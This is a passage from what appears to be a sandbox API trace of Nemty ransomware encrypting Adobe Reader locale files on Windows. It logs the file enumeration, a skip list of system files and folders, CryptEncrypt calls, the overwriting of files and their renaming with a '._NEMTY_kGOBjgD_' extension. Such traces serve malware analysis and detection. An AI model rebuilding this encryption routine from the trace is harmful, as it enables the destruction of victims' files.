Flags=0x0, Size=0xee) returned 0x63403b0 [0178.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.865] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Acroform.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\acroform.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Acroform.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\acroform.jpn._nemty_kgobjgd_")) returned 1 [0178.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.866] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.JPN", cAlternateFileName="ADOBEC~1.JPN")) returned 1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2=".") returned 1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="..") returned 1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="...") returned 1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="windows") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="$RECYCLE.BIN") returned 1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="rsa") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="NTDETECT.COM") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="ntldr") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="MSDOS.SYS") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="IO.SYS") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="boot.ini") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="boot.ini") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="AUTOEXEC.BAT") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="ntuser.dat") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="desktop.ini") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="CONFIG.SYS") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="RECYCLER") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="BOOTSECT.BAK") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="bootmgr") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="programdata") returned -1 [0178.866] lstrcmpiW (lpString1="AdobeCollabSync.JPN", lpString2="appdata") returned -1 [0178.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.JPN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0178.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.JPN", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.JPN", lpUsedDefaultChar=0x0) returned 19 [0178.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0178.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.JPN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0178.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.JPN", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.JPN", lpUsedDefaultChar=0x0) returned 19 [0178.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0178.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.JPN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0178.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.JPN", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.JPN", lpUsedDefaultChar=0x0) returned 19 [0178.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.JPN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0178.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.JPN", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.JPN", lpUsedDefaultChar=0x0) returned 19 [0178.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0178.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0178.867] Sleep (dwMilliseconds=0x5) [0178.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e44fbd0, dwHighDateTime=0x1d561e8)) [0178.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e44fbd0, dwHighDateTime=0x1d561e8)) [0178.883] GetLastError () returned 0x0 [0178.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.883] GetLastError () returned 0x0 [0178.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0178.883] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.883] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.883] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0178.883] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="lUzh9VbyI3jHoluahtbe7Kjc3wq8LMW+nPlWRZgHO/eG1WtB1lfWozUJ1kfNJdP4\r\n8B5ytM1s+kLOE8ZR0sBWa8ynLaxi4i41sZgaRZ0R6xPwJNgSjnTXNUXN1MqIKTiC\r\n15/XjOCfadTxUcid+vUpKhoc66CPVD4js8Va4omu7A/w1czWV3vnWvJdlA48xqvj\r\nd3ukytLg4RN0s8CkrIBT65HbqtU2WWGm1jW+mc+xLxZrqzRoetfW8gISoZGhJFWW\r\ncHE5GFUK2btndnJKgo7REwvIGNe1+pNwuEZX2D3HLJ+377Kx8CwRuCc+zh+c4LZ6\r\n+7wHcfTL9nmcvqRnJCK7RA==\r\n", pcchString=0x653e5dc) returned 1 [0178.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0178.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0178.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.884] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\AdobeCollabSync.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\adobecollabsync.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.884] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0178.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0178.884] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.885] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0178.887] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.887] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0178.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.887] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0178.887] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.887] CloseHandle (hObject=0x2e8) returned 1 [0178.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0178.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0178.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0178.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0178.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0178.888] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\AdobeCollabSync.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\adobecollabsync.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\AdobeCollabSync.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\adobecollabsync.jpn._nemty_kgobjgd_")) returned 1 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.888] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x56c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.JPN", cAlternateFileName="")) returned 1 [0178.888] lstrcmpiW (lpString1="Annots.JPN", lpString2=".") returned 1 [0178.888] lstrcmpiW (lpString1="Annots.JPN", lpString2="..") returned 1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="...") returned 1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="windows") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="$RECYCLE.BIN") returned 1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="rsa") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="NTDETECT.COM") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="ntldr") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="MSDOS.SYS") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="IO.SYS") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="boot.ini") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="boot.ini") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="AUTOEXEC.BAT") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="ntuser.dat") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="desktop.ini") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="CONFIG.SYS") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="RECYCLER") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="BOOTSECT.BAK") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="bootmgr") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="programdata") returned -1 [0178.889] lstrcmpiW (lpString1="Annots.JPN", lpString2="appdata") returned -1 [0178.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.JPN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.JPN", lpUsedDefaultChar=0x0) returned 10 [0178.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.JPN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.JPN", lpUsedDefaultChar=0x0) returned 10 [0178.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.JPN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.JPN", lpUsedDefaultChar=0x0) returned 10 [0178.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.JPN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.JPN", lpUsedDefaultChar=0x0) returned 10 [0178.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.890] Sleep (dwMilliseconds=0x5) [0178.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e475d30, dwHighDateTime=0x1d561e8)) [0178.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e475d30, dwHighDateTime=0x1d561e8)) [0178.899] GetLastError () returned 0x0 [0178.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.899] GetLastError () returned 0x0 [0178.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.899] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.899] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.899] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.899] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="gC37pBapDLiRVo7ujJmA3NYAEPMMNbiAl2IdE35qktkwEzUYuYMNNehBt3gBMZ3v\r\nBVTlZaDJd5q5imrvxajVawJcO5SPJm4M5NBCs013LqcXApUy5zU1eUAbKNCKh46D\r\nyVH1rftmDr2uiCePs/LUi3QYBBM4B2W0K9MxDvp9CzWgaaVBYj6RJStGCdHqc0oX\r\nBC/jbMyOBeiyXRJRZWomTifY8cEWhcKMOGrf8Z4DmP+Nj9TSlzEbwZ2oGbSi2Qb+\r\n/Hv9ZJJRv3Nx+grp1wFqpcEddcdUUtydyLRcN0sE4B1NAz2KiBq6KYj6OuN5WigP\r\nBu0aQwtaN2f2Q5KGvACvmA==\r\n", pcchString=0x653e5dc) returned 1 [0178.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.899] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Annots.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\annots.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.900] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=355328) returned 1 [0178.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0178.900] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.900] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: 